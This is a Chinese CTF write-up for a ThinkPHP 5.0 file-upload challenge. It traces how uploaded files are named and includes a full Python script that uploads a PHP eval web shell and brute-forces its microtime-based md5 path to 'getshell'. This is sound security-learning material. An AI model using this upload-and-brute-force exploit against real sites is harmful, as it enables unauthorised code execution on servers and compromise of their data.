0x00 前言

这道题值得一记,此后文章我会尽量精简。

0x01 文件

先不看hint,进题目:

image-20240802092622600

扫二维码后进入一个虚假的赌博网站,什么都干不了。

我尝试控制GET参数url,无果。现在根本没有入手点,本质上是缺乏信息,应该去寻找有用信息。

这时就应该扫目录,看看是否有留存文件。先在后台开御剑,自己试几个文件:

  • /robots.txt
  • /.DS_Store
  • /index.phps
  • /.git
  • /.svn
  • /.index.php.swp

御剑结果:

image-20240802093734472

一切信息都指向www.zip,下载查看。

0x02 源码

项目框架应该是ThinkPHP,我经验尚缺,但是前人有提:

审MVC框架直接看/index/controller下的方法

方法如下:

image-20240802094923145

看到Upload.php,或许可以利用。文件源码如下:

image-20240802095112096

如果file为空就会报错。如果存在,上传的时候会经过复杂的命名。

我们关注这里的文件是怎么命名的,但是相关的方法溯源不了。猜想是ThinkPHP的内置方法,环境覆盖即可:

1
composer create-project topthink/think=5.0.* tp5  --prefer-dist

file经过$info->getSaveName(),溯源到最后一步:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
protected function buildSaveName($savename)
{
// 自动生成文件名
if (true === $savename) {
if ($this->rule instanceof \Closure) {
$savename = call_user_func_array($this->rule, [$this]);
} else {
switch ($this->rule) {
case 'date':
$savename = date('Ymd') . DS . md5(microtime(true));
break;
default:
if (in_array($this->rule, hash_algos())) {
$hash = $this->hash($this->rule);
$savename = substr($hash, 0, 2) . DS . substr($hash, 2);
} elseif (is_callable($this->rule)) {
$savename = call_user_func($this->rule);
} else {
$savename = date('Ymd') . DS . md5(microtime(true));
}
}
}
} elseif ('' === $savename || false === $savename) {
$savename = $this->getInfo('name');
}

if (!strpos($savename, '.')) {
$savename .= '.' . pathinfo($this->getInfo('name'), PATHINFO_EXTENSION);
}

return $savename;
}

文件名格式:

1
date(‘Ymd’) . DS . md5(microtime(true)) . ‘.’ . pathinfo($this->getInfo(‘name’), PATHINFO_EXTENSION);
  • 保存路径:url/20240723/md5(精确到小数点后四位的当前时间)。

  • 文件后缀:pathinfo($this->getInfo(‘name’), PATHINFO_EXTENSION),即原上传文件的后缀。

    • 举个例子,1.php最后保存的文件名:md5(精确到小数点后四位的当前时间).php

0x03 上传

可以上传文件,自然想到插马。但是文件的路径有上传时间的调控,所以我们采用脚本爆破:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
import requests
from datetime import datetime
import subprocess
import pytz
import hashlib

# Author:ctfshow-h1xa

url = "http://724695db-fe75-4466-82cb-dd345f704f60.challenge.ctf.show/index.php"
scriptDate = ""
prefix = ""

session = requests.Session()
headers = {'User-Agent': 'Android'}


def init():
route = "?url=" + url
session.get(url=url + route, headers=headers)


def getPrefix():
route = "index/upload/image"
file = {"file": ("1.php", b"<?php echo 'ctfshow';eval($_POST[1]);?>")}
response = session.post(url=url + route, files=file, headers=headers)
response_date = response.headers['date']
print("正在获取服务器时间:")
print(response_date)
date_time_obj = datetime.strptime(response_date, "%a, %d %b %Y %H:%M:%S %Z")
date_time_obj = date_time_obj.replace(tzinfo=pytz.timezone('GMT'))
date_time_obj_gmt8 = date_time_obj.astimezone(pytz.timezone('Asia/Shanghai'))
print("正在转换服务器时间:")
print(date_time_obj_gmt8)
year = date_time_obj_gmt8.year
month = date_time_obj_gmt8.month
day = date_time_obj_gmt8.day
hour = date_time_obj_gmt8.hour
minute = date_time_obj_gmt8.minute
second = date_time_obj_gmt8.second
global scriptDate, prefix
scriptDate = str(year) + str(month).zfill(2) + (str("0" + str(day)) if day < 10 else str(day))
print(scriptDate)
seconds = int(date_time_obj_gmt8.timestamp())
print("服务器时间:")
print(seconds)
code = f'''php -r "date_default_timezone_set('Asia/Shanghai');echo mktime({hour},{minute},{second},{month},{day},{year});"'''
print("脚本时间:")
result = subprocess.run(code, shell=True, capture_output=True, text=True)
script_time = int(result.stdout)
print(script_time)
if seconds == script_time:
print("时间碰撞成功,开始爆破毫秒")
prefix = seconds
else:
print("错误,服务器时间和脚本时间不一致")
exit()


def remove_trailing_zero(num):
if num % 1 == 0:
return int(num)
else:
str_num = str(num)
if str_num[-1] == '0':
return str_num[:-1]
else:
return num


def checkUrl():
h = open("url.txt", "a")
global scriptDate
for i in range(0, 10000):
target = str(prefix) + "." + str(i).zfill(4)
target = str(remove_trailing_zero(float(target)))
# target=remove_trailing_zero(target)
print(target)
md5 = string_to_md5(target)
# route = "/uploads/"+target+scriptDate+"/"+md5+".php"
route = "/uploads/" + scriptDate + "/" + md5 + ".php"
print("正在爆破" + url + route)
response = session.get(url=url + route, headers=headers)
if response.status_code == 200:
print("成功getshell,地址为 " + url + route)
exit()

h.write(route + "\n")
h.close()
print("爆破结束")
return


def string_to_md5(string):
md5_val = hashlib.md5(string.encode('utf8')).hexdigest()
return md5_val


if __name__ == "__main__":
init()
getPrefix()
checkUrl()

对时间爆破脚本的详细分析在下一篇博客。